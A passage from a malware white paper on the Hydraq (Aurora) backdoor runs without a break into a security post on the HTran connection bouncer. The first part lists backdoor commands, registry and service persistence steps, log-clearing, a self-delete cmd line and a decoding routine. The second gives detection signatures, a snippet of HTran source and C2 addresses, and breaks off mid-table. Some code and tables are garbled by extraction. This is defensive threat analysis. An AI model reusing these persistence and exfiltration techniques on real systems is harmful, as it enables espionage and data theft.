Converting the correct instruction to execute: 1.0xCCCCCCCA XOR 0xCCCCCCCC  6 2.6  (-2)  4 Command Reference Backdoor Command 0x00 0x00 0x01 0x01 0x02 0x02 0x03 0x03 0x04 0x04 0x05 0x0A 0x06 0x05 0x07 0x06 0x08 0x07 0x09 0x0A 0x0A 0x08 0x0B 0x0A 0x0C 0x0A 0x0D 0x0A 0x0E 0x0A 0x0F 0x0A 0x10 0x0A 0x11 0x0A 0x12 0x09 [Table 05 - Backdoor Command Reference] 3.7 Backdoor Command Table The Win32/Hydraq backdoor features 10 command switches, which theoretically allow  the re- mote attacker to perform almost everything.
An attacker can manipulate files, registries, serv- ices, process, privileges, search files and directories, remote download, update configurations, open applications, and steal any desired information.
Attackers can initiate real-time graphical control and watch a users desktop using Command 0x07 Task 0x0b (see Appendix D for discussion of acelpvc.dll and VedioDriver.dll installation).
Backdoor Command Task Description Command 0x00 Task 0x00 Adjust Token Privilege / Access Privilege Escalation and Enumerate Process.
Command 0x00 Task 0x01 Terminate Process Command 0x00 Other value (Task 0x02 or more) Receive further commands.
Command 0x01 Task 0x00 Enumerate service configuration and sends back to the client.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 21 [Listing 13 - Captured client server communication ] Command 0x01 Task 0x01 Modify or change service configuration.
Predefined Start type: 2-SERVICE_AUTO_START, 3- SERVICE_DEMAND_START, 4-SERVICE_DISABLED Command 0x01 Task 0x02 Start or stop a service.
Command 0x01 Task 0x03 Delete a service.
Command 0x01 Other value (Task 0x04 or more) Receive further commands.
Command 0x02 Task 0x00 Execute a new thread to perform the following: 1.
Connect to a client.
2.
Downloads an arbitrary file.
3.
Save it as Temp\mdm.exe 4.
Execute the downloaded file, else delete the file.
Command 0x02 Other value (Task 0x01 or more) Receive further commands.
Command 0x03 Task 0x00 Enumerate sub keys of a registry key and send the information back to the client.
Command 0x03 Task 0x01 Enumerate values of a registry key and send the information back to the client.
Command 0x03 Task 0x02 Delete registry values and send back the deleted information to remote server Command 0x03 Task 0x03 Delete registry keys with conditions.
The conditions are based on the value of specified registry key.
Command 0x03 Task 0x04 Set registry values with conditions.
The conditions are based on the value of specified registry key.
Command 0x03 Task 0x05 Set registry values without conditions.
Command 0x03 Task 0x06 Delete registry keys and send the deleted information back to the remote server.
Command 0x03 Task 0x07 Create registry entries with conditions.
(
Create, set registry value or delete registry key) .
The condition is based on the value of specified registry key.
Command 0x03 Task 0x08 Create registry keys without condition.
Command 0x03 Other value (Task 0x09 or more) Receive further commands.
Command 0x04 Task 0x00 Retrieve information about all logical drives, volume information, disk space and drive type.
Sends the gathered information to the client.
Command 0x04 Task 0x01 Checks if a file exists.
Command 0x04 Task 0x02 Execute or open a file.
Command 0x04 Task 0x03 Copy the file to another location.
Command 0x04 Task 0x04 Delete a directory or file.
Command 0x04 Task 0x05 Move a file location.
Command 0x04 Task 0x06 Modify file attributes.
Command 0x04 Task 0x07 Search directory and send all filenames to client.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 22 Task 0x08 Create a thread to perform the following: 1.
Create a client specified file.
2.
Connect to a client 3.
Receive data to be used as file content.
4.
Write data to file Task 0x09 Create a thread to perform the following: 1.
Get the CRC hash value of the specified file 2.
Retrieve the value in the registry key HKLM\Software\Sun\IsoTp 3.
Send the data to the client 4.
Read the specified file content 5.
Send the data to the client Other value (Task 0x0a or more) Receive further commands.
Command 0x05 Task 0x00  There is no routine for Task 00.Command 0x05 Task 0x01 Force shutdown of the system.
Command 0x05 Task 0x02 Force reboot of the system.
Command 0x05 Task 0x03 Delete the current malware registry service.
It verifies and removes the registry key if the service name is registered in HKLM \SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost \netsvc.
Move the file Temp\c_1758.nls to another directory.
Command 0x05 Task 0x04 There is no routine for Task 04.
Command 0x05 Task 0x05 Clears the Application event logs.
Command 0x05 Task 0x06 Get file size and CRC value, then send back to the remote server.
Command 0x05 Task 0x07 There is no routine for Task 07.
Command 0x05 Task 0x08 Modify registry configuration AppleTlk found in HKLM\Software \Sun\1.1.2 information based on decrypted resource file.
Command 0x05 Task 0x09 Modify registry configuration IsoTp found in HKLM\Software\Sun \1.1.2, information based on decrypted resource file.
Command 0x05 Other value (Task 0x0a or more) Receive further commands.
Command 0x06 Task 0x00 There is no routine for Task 00.
Command 0x06 Task 0x01 Create a thread to perform the following: 1.
Search file with conditions (date time created).
2.
Send file to remote server Command 0x06 Task 0x02 Sends header data with the following values: 9 0 0 0  2 0 0 0  0 0 0 0  0 0 0 0  0 0 XX 0x00  0x0009 0x04  0x0002 0x08  0x0000 0x0C  0x0000 0x10  0x00  0x12  0xXX (encryption key) Command 0x06 Other value (Task 0x03 or more) Receive further commands.
Command 0x07 Task 0x00 - 0x0a Receive further commands.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 23 Command 0x07 Task 0x0b Create a thread to perform the following: 1.
Load the library file system\acelpvc.dll.
2.
Check for the presence of system\VedioDriver.dll.
If not found, download the file from the server and modify the time attributes to be the same as legitimate system file.
Command 0x07 Other value (Task 0x0c or more) Receive further commands.
Command 0x08 Task 0x00 Sends header data in this format: C 0 0 0  0 0 0 0  1 0 0 0  0 0 0 0  0 0 XX 0x00  0x000C 0x04  0x0000 0x08  0x1000 0x0C  0x0000 0x10  0x00  0x12  0xXX (encryption key) Command 0x08 Other value (Task 0x01 or more) Receive further commands.
Command 0x09 Task 0x00 There is no routine for Task 00.Command 0x09 Task 0x01 Read the information in the file system\drivers\etc\networks.ics and send the content to the remote server.
Command 0x09 Task 0x02 Delete the file system\drivers\etc\network.ics.
Command 0x09 Other value (Task 0x03 or more) Receive further commands.
3.9 Backdoor Commands In Action Primary goal of the attackers was accessing the Gmail accounts of Chinese human rights activist - statement published in a Google blog post entitled A new approach to China.
Malware designed for spying and obtaining sensitive information must have the following offensive capabilities: 1.
Probing -  the act of searching, exploring, and investigating.
2.
Exfiltration of sensitive information.
3.
Surveillance  - the ability to capture images, audio and/or video.
4.
Covert Communication Channel - is a hidden communication embedded into the header and/ or payload of an overt communication channel to avoid discovery of on-going attacks over the network.
5.
Covering Tracks - the ability to stay undetected and avoid forensic discovery.
Lets summarize and see what we have learned and discovered from Hydraqs code.
[
Table 06 - Backdoor Command and Task Descriptions] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 24 3.9.1 Probing and exfiltration of sensitive information The Windows Registry is the heart of the Windows Operating System.
It stores users profile, in- stalled applications, privileges for applications and folders, hardware profiles, current logged-on information, mounted devices, the MRU list, wireless  network information, LAN computers and passwords [10].
Using Command 0x03 Task 0x00 and Task 0x01, a remote attacker using Hydraq can sub- stantially extract useful information from Windows Registry.
Command 0x03 Task 0x00 Enumerate sub keys of a registry key and send the information back to the client.
Command 0x03 Task 0x01 Enumerate values of a registry key and send the information back to the client.
Using Command 0x01 Task 0x00, a remote attacker using Hydraq can find out the services that are available on the compromised system.
Windows services display what type of connections is available that attackers can take advantage of to administer further attacks.
Command 0x01 Task 0x00 Enumerate service configuration and sends back to the client.
Using Command 0x04 Task 0x00, a remote attacker using Hydraq can determine all logical drives and if the disk drive is a removable, fixed, CD-ROM, or network drive.
(
see Backdoor Com- mand Reference Listing 13 for the captured communication of client-server) The attacker can then execute Command 0x04 Task 0x07 to search a directory or Command 0x06 Task 0x01 to search a file.
Command 0x04 Task 0x00 Retrieves information about all logical drives, volume information, disk space and drive type.
It then sends the gathered information to the client.
Command 0x04 Task 0x07 Searches the directory and sends all filenames to client.
Command 0x06 Task 0x01 Creates a thread to perform the following: 1.
Search a  file with conditions (date time created).
2.
Send the file to remote server Through Command 0x03, a remote attacker using Hydraq can manipulate the registry and use Command 0x05 Task 09 to store and update gathered information.
Command 04 Task 09 retrieves the stored information and assures the integrity of the file sent to remote attacker.
The backdoor can retrieve any file and information at anytime using Command 0x06 Task 01.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 25 Hydraq reads the contents of network.ics using Command 0x09 Task 0x01.
Network.ics con- tains information including network name and number mapping for local area network.
Command 0x09 Task 0x01 Reads 616 bytes (0x268) of information stored in the file system\drivers \etc\networks.ics and sends the content to the remote server.
The attacker can manipulate the routing table to redirect traffic to the compromised system.
The Command 0x04 Task 0x02 can be used to open or execute a file or program, and Command 0x04 Task 0x08 can be use to update network.ics content.
Thus, it can perform a man-in-the-middle attack, where attacker can intercept traffic and capture information.
3.9.2 Surveillance Hydraq probing capabilities can determine whether the compromised machine has audio/video en- abled applications and devices (for example instant messengers and webcam connection).
The attacker can use available application and devices to capture images, voice and video for surveil- lance.
However, as discussed earlier, Hydraq can also initiate a real-time graphical control and watch a users desktop using Command 0x07 Task 0x0B (see Appendix D for discussion of acelpvc.dll and VedioDriver.dll installation).
3.9.3 Covert Communication As discussed, Hydraqs client-server uses port 443 as an overt communication channel1  (see Backdoor Communication Protocol) and embeds a custom header (see Appendix B showing the initial handshake header)  to avoid discovery of on-going attacks over the network.
3.9.4 Covering Tracks Covering tracks is important in hacking.
It extends or allows the attacker to stay undetected for a long period of time.
It also removes evidence of hacking and lessens the chances of identification.
If Hydraq can escalate privileges it can also adjust them if it can execute and run any program/ application, it can terminate it.
It can remove its traces in services, registry, file/s, folder/s, change file attributes and move file/s into different locations.
It can also force shutdowns or reboot the sys- tem, which can remove valuable traces in memory to avoid digital forensics discovery.
Furthermore, in Command 0x04 Task 0x02 the remote attacker can clear Application Event logs.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 26 1 Overt channel is any communication path for the authorized data transmission within a computer system or network.
HTTP and HTTP SSL is an overt channel.
Command 0x05 Task 0x05 Clears the Application event logs.
3.9.5 Expandable Features In Command 0x02 Task 0x00, the remote attacker can download and execute arbitrary files onto compromised systems, and it can adjust process token privileges using Command 0x00 Task 0x00.
This sets of commands further expands the capability of the attacks.
Command 0x02 Task 0x00 Execute a new thread to perform the following: 1.
Connect to the client.
2.
Downloads an arbitrary file.
3.
Save it as Temp\mdm.exe 4.
Execute the downloaded file, else delete the file.
Command 0x00 Task 0x00 Adjust Token Privilege / Access Privilege Escalation and Enumerate Process.
The backdoor configuration that is stored in the registry can be updated using Command 05 Task 0x08.
This means that the remote attacker can modify and change the connection details at any- time.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 27 Summary The discovery of  Hydraq allowed us to explore and understand the underlying features of a highly sophisticated means of attack.
It takes time, organization, skill, and resources to successfully de- ploy coordinated attacks against high profile infrastructures such as Google.
Clearly, the increasing wealth of information stored in the cloud2  is becoming an attractive target.
The emerging world of cyberspace is now  at war against cybercriminals and those conducting cy- berwarfare [7] [8].
Sophisticated attacks exploiting unknown software vulnerabilities as means of en- try point provides an advantage for attackers to silently infiltrate and perform various forms of spy- ing including the ability to deploy video and audio surveillance, and the probing and stealing of sensitive desired information.
Hydraqs communication protocol is carefully crafted and re- searched making it difficult to detect and recognize an on-going attack over the network.
The level of detail of  the backdoor commands allow  a remote attacker to perform the necessary tasks using a smaller resource footprint.
In conclusion, the emergence of this type of sophisticated offensive capability will continue to pose challenges for cyberspace security defenses.
By exposing the intricate details of Hydraq, we hope to assist and contribute to overall cyber security learning and awareness.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 28 2 Cloud refers to services accessed and stored on the internet cloud.
Take note, Google disclosed  that attackers accessed two Gmail accounts of Chinese human rights activist.
[
1] Safe Computing Habits With the proliferation of  Web-based attacks vector and the increase in global Internet usage, it is more important than ever to be cautious to ensure safety online.
Security is a process.
To be se- cure, you must be aware, apply the right technology, understand your daily computing activity and identify the amount of information or data you want to secure.
Let the Technology Work For You Here are some easy steps and reminder to ensure that your CA security products provides optimal protection for you.
1.
Your security scanner must be always turned on and up-to-date with the latest signature.
Real- time scanning protects you from possible infection that you may get from compromised Web- sites, network shares, email and flash drives.
2.
Turn on your firewall.
Your firewall provides a different layer of security that guards you from network attacks and blocks unauthorized access to your machine.
A firewall with real-time mal- ware behavior intrusion detection could prevent or lessen the impact of malware infection.
3.
Turn on Data Execution Prevention (DEP).
This feature is available in Windows XP SP3, Win- dows Server 2003, Windows Server 2008, Windows Vista and Windows 7.
Refer Microsoft in- struction on how to configure memory protection in Windows XP SP 2 at http://technet.microsoft.com/en-us/library/cc700810.aspx 4.
Increase your browser security settings.
You can refer CERT Web browser security tips at http://www.cert.org/tech_tips/securing_browser Be Security-Aware 1.
Do NOT open email from people you dont know.
Think twice and verify before clicking a URL or open an attachment.
Dont be click happy All it takes is a moment of inattention.
2.
Implement strong password.
Refer to these Microsoft Tips for creating a strong password: http://www.microsoft.com/protect/yourself/password/create.mspx 3.
When conducting online banking or financial transaction, make sure your browser connection is secure.
4.
Encrypt online communication and confidential data.
5.
Back up your important data.
Keep a copy of all your files and store them separately.
6.
Be cautious about instant messaging.
Avoid chatting with people you dont know, especially if they ask for personal information such as photos or want you to do something for them.
7.
Protect your identity while enjoying online social networking activities.
Be wary of  clicking links or suspicious profiles.
Double-check the integrity of the connection or friend request before adding anyone to your network.
Avoid installing extras such as third-party applications they may lead to malware infection, or attackers could use them to steal your identity.
8.
Avoid piracy by downloading from secure sources.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 29 http://technet.microsoft.com/en-us/library/cc700810.aspx http://technet.microsoft.com/en-us/library/cc700810.aspx http://www.cert.org/tech_tips/securing_browser http://www.cert.org/tech_tips/securing_browser http://www.microsoft.com/protect/yourself/password/create.mspx http://www.microsoft.com/protect/yourself/password/create.mspx 9.
Avoid threats that use social engineering techniques by checking user feedback about a Web site before visiting it, and reader feedback about an application before installing it.
10.
If you are using Adobe PDF Reader, prevent your default browser from automatically opening PDF document.
Refer to our CA Security Advisor research blog entry at http://community.ca.com/blogs/securityadvisor/archive/2009/02/24/attackers-love-zero-day.asp x 11.
Check for and install security updates regularly.
12.
Be careful with search engine results.
Read them carefully and check to ensure that the con- tent relates to your subject before clicking the Web site link.
Make Internet computing safe - report suspicious files and Web sites to virusca.com CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 30 http://community.ca.com/blogs/securityadvisor/archive/2009/02/24/attackers-love-zero-day.aspx http://community.ca.com/blogs/securityadvisor/archive/2009/02/24/attackers-love-zero-day.aspx http://community.ca.com/blogs/securityadvisor/archive/2009/02/24/attackers-love-zero-day.aspx http://community.ca.com/blogs/securityadvisor/archive/2009/02/24/attackers-love-zero-day.aspx mailto:virusca.com mailto:virusca.com Appendix A - Other variant method of instal lation 1.
Enumerates all services with the following characteristics: ServiceType  SERVICE_WIN32 ServiceState  3 2.
Searches for services with the SERVICE_RUNNING state or the service name Brower [sic].
a.The malware checks the service configuration for the following ImagePatch value: svchost.exe -k netsvcs (It searches for services with this value as a command line parameter) b.
If the ImagePath value is found, it checks the registry key below and retrieves the value of ServiceDll registry entry: HKLM\SYSTEM\CurrentControlSet\Services\service name\Parameters c. The malware modifies the services configuration, modifying the service Start and Type characteristics to the following: Start - 2 SERVICE_AUTO_START Type - 110 SERVICE_INTERACTIVE_PROCESSSERVICE_WIN32_OWN_PROCESS These service modifications enable the service to start automatically, interact with the desk- top, and run in its own process.
3.
If Step 2 is successful, the malware performs the following instructions: a. Loads the resource file in memory and writes the resources content to a file in USER- PROFILE\service name.dll.
This behavior drops the DLL component in the directory, USERPROFILE\service name.dll Note: USERPROFILE is C:\Documents and Settings\username.
b.
As part of its anti-forensic discovery, the malware modifies the DLL file time attributes to be the same as kernel32.dll.
The date created, last accessed, and last modified will be modified in this case.
c. The Hydraq dropper modifies the registry key of the target service: HKLM\SYSTEM\CurrentControlSet\Services\service name\Parameters\ServiceDll USERPROFILE\service name.dll This automatically executes the DLL component on system start.
d.The malware starts the target service to execute the DLL component.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 31 4.
If Step 2 is NOT successful, the malware performs the following instructions: a. Loads the malwares resource file in memory and writes the resources content to a file in USERPROFILE\random name.dll.
This behavior drops the DLL component file in the directory USERPROFILE\random name.dll Note: USERPROFILE is C:\Documents and Settings\username.
random characters is based on the result of GetTickCount API.
b.
The malware creates a service with the same name as the generated filename of the DLL component and with the following characteristics: DesiredAccess  SERVICE_ALL_ACCESS ServiceType  SERVICE_WIN32_OWN_PROCESSSERVICE_INTERACTIVE_PROCESS StartType  SERVICE_AUTO_START ErrorControl  SERVICE_ERROR_NORMAL BinaryPathName  SystemRoot\System32\svchost.exe -k random name HKLM\SYSTEM\CurrentControlSet\Services\random name\Type SERVICE_WIN32_OWN_PROCESSSERVICE_INTERACTIVE_PROCESS HKLM\SYSTEM\CurrentControlSet\Services\random name\Start  SERVICE_AUTO_START HKLM\SYSTEM\CurrentControlSet\Services\random name\ErrorControl  dword:00000001 HKLM\SYSTEM\CurrentControlSet\Services\random name\ImagePath SystemRoot\System32\svchost.exe -k random name HKLM\SYSTEM\CurrentControlSet\Services\random name\DisplayName  random name HKLM\SYSTEM\CurrentControlSet\Services\random name\ObjectName  LocalSystem HKLM\SYSTEM\CurrentControlSet\Services\random name\Description  random name HKLM\SYSTEM\CurrentControlSet\Services\random name\Parameters\ServiceDll  US- ERPROFILE\random name.dll HKLM\SYSTEM\CurrentControlSet\Services\random name\Parameters\StubPath  drop- per component filename It also adds the service name in the registry key below so the service will be executed on start as a system service.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\random name  random name c. The malware starts the created service to execute the DLL component.
If the malware fails to create the service it adds the following registry entry: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\random name  rundll32.exe USERPROFILE\random name.dll, Launch It then executes the process with the parameters below.
If this fails the malware will delete the DLL component file.
rundll32.exe USERPROFILE\random name.dll, Launch Lastly the malware executes the file cmd.exe with the command line parameters below.
The purpose of this is to delete the dropper component.
system\cmd.exe /c del dropper filename  nul CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 32 Appendix B - Init ial Handshake Appendix C - Customize Character Decoding Resource decryption - Resource size is 0x158.
The malware does not modify the first 8 bytes of the resource and decodes the remaining 0x150 bytes using bitwise XOR on the 0x150 byte of the resource with 0x99 as the key.
The following decoding logic is used: CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 33 //-----Start decoding code int k  0 //used for output buffer - decode result for(int i  0 i  0x150 i4)  for(int j  0 j  0x04 j)  rsrc_buffer[ij]  rsrc_buffer[ij]  0x99 if (rsrc_buffer[ij]  0x41  rsrc_buffer[ij]  0x5A )  //0x41  A  0x5A  Z  rsrc_buffer[ij]  rsrc_buffer[ij] - 0x41  else if (rsrc_buffer[ij]  0x61  rsrc_buffer[ij]  0x7A ) //0x61  a  0x7A  z  rsrc_buffer[ij]  rsrc_buffer[ij] - 0x47  else if (rsrc_buffer[ij]  0x30  rsrc_buffer[ij]  0x39)  //0x30  0  0x39  9  rsrc_buffer[ij]  rsrc_buffer[ij]  0x04  else if (rsrc_buffer[ij]  0x2B) // 0x2B  rsrc_buffer[ij]  0x3E // 0x3E  else if (rsrc_buffer[ij]  0x2F) // 0x2F  /  rsrc_buffer[ij]  0x3F // 0x3F  ?
else if (rsrc_buffer[ij]  0x3D) // 0x2F  rsrc_buffer[ij]  0x00  //for(int j  0 j  0x04 j) rsrc_buffer[i1]  rsrc_buffer[i1]  0x04 rsrc_buffer[i]  rsrc_buffer[i]  0x02 rsrc_buffer[i1]  rsrc_buffer[i]  rsrc_buffer[i1] [rsrc_result  k]  rsrc_buffer[i1] rsrc_buffer[i1]  rsrc_buffer[i1]  0x04 rsrc_buffer[i2]  rsrc_buffer[i2]  0x02 rsrc_buffer[i2]  rsrc_buffer[i2]  rsrc_buffer[i1] rsrc_buffer[i1]  rsrc_buffer[i2] rsrc_buffer[i1]  rsrc_buffer[i1]  0x06 rsrc_buffer[i1]  rsrc_buffer[i1]  rsrc_buffer[i3] [rsrc_result  k  1]  rsrc_buffer[i2] [rsrc_result  k  2]  rsrc_buffer[i1] k3 //for(int i  0 i  0x150 i4) //-----End decoding code CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 34 Appendix D - Real-time Graphical Control The Hydraq backdoor client can initiate real-time graphical control through the installation of Vir- tual Network Computing (VNC).
Based on the malware code, the VNC DLL component can be installed in this sequence: 1.
Client sends Command 0x04 Task 0x08 to upload the file acelpvc.dll.
2.
Client initiates Command 0x07 Task 0x0B.
a.
Get the file attributes of the file System\acelpvc.dll, check if it is directory or file, exit if its a directory.
b.
Get address of acelpvc.dlls export function EntryMain c. Get the file attribute of the file System\VedioDriver.dll, check if it is directory or file, exit if its a directory.
3.1 If System\VedioDriver.dll exists, a.
Load acelpvc.dll in the memory space of the malware.
b.
Execute acelpvc.dlls EntryMain export function with the server IP address and port as the parameter.
The client is expected to have a VNC client to receive the frame- buffer [9] from the server.
3.2 If System\VedioDriver.dll does NOT exist, a.
Contact the client to download VedioDriver.dll b.
The Server receives VedioDriver.dll from the client.
c. Verify the CRC value of the created file from the server, and delete if it is different.
d. Modify the files date and time attributes to be the same as the system file, user32.dll.
[
Appendix D Figure 01 - Acelpvc.dll list of APIs used in the Import Table] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 35 Appendix E - Domain Name List 360.homeunix.com www.ccmp1.com blog1.servebeer.com sl1.homelinux.org update.ourhobby.com ftp2.homeunix.com Complete List as published at http://www.security.nl/files/aurorafiles.txt 69.164.192.4 alt1.homelinux.com amt1.homelinux.com aop1.homelinux.com app1.homelinux.com blogspot.blogsite.org filoups.info ftpaccess.cc google.homeunix.com members.linode.com tyuqwer.dyndns.org voanews.ath.cx webswan.33iqst.com:4000 yahoo.8866.org ymail.ath.cx yahooo.8866.org connectproxy.3322.org csport.2288.org [Appendix D Figure 02 - VedioDriver.dll Export Functions] CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 36 http://www.ccmp1.com http://www.ccmp1.com http://www.security.nl/files/aurorafiles.txt http://www.security.nl/files/aurorafiles.txt Reference [1] http://googleblog.blogspot.com/2010/01/new-approach-to-china.html [2] http://www.state.gov/secretary/rm/2010/01/135519.htm [3] http://www.dni.gov/testimonies/20100202_testimony.pdf [4] http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network [5] http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-0249 [6] http://www.microsoft.com/technet/security/Bulletin/MS10-002.mspx [7] http://en.wikipedia.org/wiki/Cyberwarfare [8] Inside CyberWarfare by Jeffrey Carr http://oreilly.com/catalog/9780596802165 [9] http://en.wikipedia.org/wiki/Framebuffer [10] http://www.forensicfocus.com/downloads/windows-registry-quick-reference.pdf CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 37 http://googleblog.blogspot.com/2010/01/new-approach-to-china.html http://googleblog.blogspot.com/2010/01/new-approach-to-china.html http://www.state.gov/secretary/rm/2010/01/135519.htm http://www.state.gov/secretary/rm/2010/01/135519.htm http://www.dni.gov/testimonies/20100202_testimony.pdf http://www.dni.gov/testimonies/20100202_testimony.pdf http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-0249 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-0249 http://www.microsoft.com/technet/security/Bulletin/MS10-002.mspx http://www.microsoft.com/technet/security/Bulletin/MS10-002.mspx http://en.wikipedia.org/wiki/Cyberwarfare http://en.wikipedia.org/wiki/Cyberwarfare http://oreilly.com/catalog/9780596802165 http://oreilly.com/catalog/9780596802165 http://en.wikipedia.org/wiki/Framebuffer http://en.wikipedia.org/wiki/Framebuffer http://www.forensicfocus.com/downloads/windows-registry-quick-reference.pdf http://www.forensicfocus.com/downloads/windows-registry-quick-reference.pdf
HTran and the Advanced Persistent Threat URL: http://www.secureworks.com/research/threats/htran/ Date: August 3, 2011 Author: Joe Stewart, Director of Malware Research, Dell SecureWorks Counter Threat Unit Research Team While researching one of the malware families involved in the RSA breach disclosed in March 2011, Dell SecureWorks CTU observed an interesting pattern in the network traffic of a related sample (MD5:53ba6845f57f8e9ef600ef166be3be14).
When the sample under analysis attempted to connect to the C2 server at my.amazingrm.com (203.92.45.2), the server returned a suc- cinct plain-text error message instead of the expected HTTP-formatted response: [SERVER]connection to funn Although the message was seemingly truncated, this pattern was enough to correlate the error string to a known (and fairly old) program called HUC Packet Transmit Tool, or HTran, for which source code can be readily found on the Internet: http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm HTran is a rudimentary connection bouncer, designed to redirect TCP traffic destined for one host to an alternate host.
The source code copyright notice indicates that HTran was authored by lion, a well-known Chinese hacker and member of HUC, the Honker Union of China.
The purpose of this type of tool is to disguise either the true source or destination of In- ternet traffic in the course of hacking activity.
HTran contains several debugging messages throughout the source code that are sent to the console or to the connecting client in order to diagnose connection issues.
The part of the HTran source code that generated the error message seen in the trojan C2 response is shown below: if(client_connect(sockfd2,host,port2)0)  closesocket(sockfd2) sprintf(buffer,[SERVER]connection to s:d error\r\n, host, port2) send(sockfd1,buffer,strlen(buffer),0) The code is written so that if the connection bouncer is unable to connect to the hidden destination in order to relay the incom- ing traffic, the formatted error message containing the target host and port parameters will be sent to the connecting client.
As long as there are no connection issues, HTran might be a useful tool to hide a trojan C2s true location - but, in the case of any connection downtime between the HTran host and the hidden C2, HTran will betray the location of the hidden C2 host.
Instances of HTran on multiple hosts could theoretically be chained together in order to add extra layers of obfuscation.
How- ever, in case of the final endpoint C2 being unavailable for any reason, the last link in the HTran chain will still pass its con- nection failure message up the chain, rendering all of the other layers of obfuscation useless.
This tiny bit of error debugging code left in by the author can be quite useful if one wants to track HTran-bounced hacking activity to its source.
HTran Survey Armed with the knowledge of HTrans transient error message formatting, Dell SecureWorks CTU was able to locate TCP packet captures containing HTran connection errors in response to traffic from other APT-related malware that had been pre- viously executed in our sandnet.
The following Snort signatures can be used by other organizations to search for HTran con- nection error messages in transit on their networks: alert tcp EXTERNAL_NET any - HOME_NET any (msg:HTran Connection Redirect Failure Message flow:established,from_server dsize: 80 content:5bSERVER5dconnection20to20 depth:22 reference:url,www.secureworks.com/research/threats/htran/ sid:1111111111) alert tcp EXTERNAL_NET any - HOME_NET any (msg:HTran Connection Redirect Failure Message (Unicode) flow:established,from_server dsize:160 content:5b00S00E00R00V00E00R005d00c00o00n00n00e00c00t00i00o00n002000t00o002000 depth:44 reference:url,www.secureworks.com/research/threats/htran/ sid:1111111112) In addition to locating historical packet captures containing evidence of HTran connection failures, Dell SecureWorks CTU http://www.secureworks.com/research/threats/htran/ http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm http://en.wikipedia.org/wiki/Honker_Union implemented a scanning system which checks for the HTran error message in responses from active probing of more than a thousand IP addresses known to be associated with APT trojan activity currently or in the past.
The results of this survey can be seen in the following table: Malware C2 IP/Port Associated Hostnames Host-Related Malware Hashes Hidden Destination IP/Port 12.38.236.41:443 epod.businessconsults.net hapyy2010.lflinkup.net info.businessconsults.net pop.businessconsults.net ssa.businessconsults.net sys.businessconsults.net 3493fc0e4a76b9d12b68afc46cab7f34 fd4a4ac08f5a7271fbd9b8157d30244e 51744d77fc8f874934d2715656e1a2df 112.65.87.58:443 58.247.25.108:443 173.244.209.196:443 bbs.india-videoer.com itiupdated.dyndns.info news.india-videoer.com www.india-videoer.com 1daa3e392d1fea79badfbcd86d765d32 855cea7939936e86016a0aedee1d2c24 123.120.102.251:443 204.45.228.140:80 204.45.228.140:443 create301.dyndns.info 00b9619613bc82f5fe117c2ca394a328 123.120.106.136:8080 123.120.117.98:9000 123.120.126.73:8080 123.120.127.146:9000 207.225.36.69:443 leets.hugesoft.org rouji.freespirit.acmetoy.com slnoa.newsonet.net sos.businessconsults.net trb.arrowservice.net ug-aa.hugesoft.org www.optimizon.com cca75af9786d7364866f40b80dddcc5c 58.247.240.91:80 212.125.200.197:443inter.earthsolution.org quick.earthsolution.org 3a3bf6cab9702d0835e8425f4e9d7a9c 223.167.5.10:8000 223.167.5.250:8000 223.167.5.254:8000 212.125.200.204:443 bah001.blackcake.net caci2.infosupports.com doa.bigdepression.net lucy2.businessconsults.net lucy2.infosupports.com lucy.blackcake.net lucy.businessconsults.net mantech.blackcake.net news.businessconsults.net qiao1.bigdepression.net qiao2.bigdepression.net qiao3.bigdepression.net qiao4.bigdepression.net qiao5.bigdepression.net qiao6.bigdepression.net sports.businessconsults.net srs.infosupports.com 03557c3e5c87e6a121c58f664b0ebf18 8a873136b6e4dd70ff9470288ff99d93 bbf4212f979c32eb6bc43bd8ba5996f9 112.64.214.174:443 220.110.70.51:443 nsweb.hostent.org c9067c06bb9e8a5304b93687c59e4e15 125.215.189.114:40781 60.249.150.162:443 argentinia.faqserv.com epaserver.toythieves.com mailserver.instanthq.com mailserver.sendsmtp.com moiserver.myftp.info mosfdns.ddns.ms office.lflink.com san.www1.biz seoulsummit.ddns.ms songs.longmusic.com sysinfo.mynumber.org timeforbeat.ns01.us www.cpear.ddns.us yahoo2.epac.to 121.229.201.158:10009 121.229.201.238:10009 64.255.101.100 aar.bigdepression.net conn.gxdet.com db.billten.net ddbb.gxdet.com info.billten.net info.dcfrr.com info.helpngr.net info.new-soho.com info.scitence.net mail.new-soho.com mailsrv.scitence.net 056310138cb5ed295f0df17ac591173d 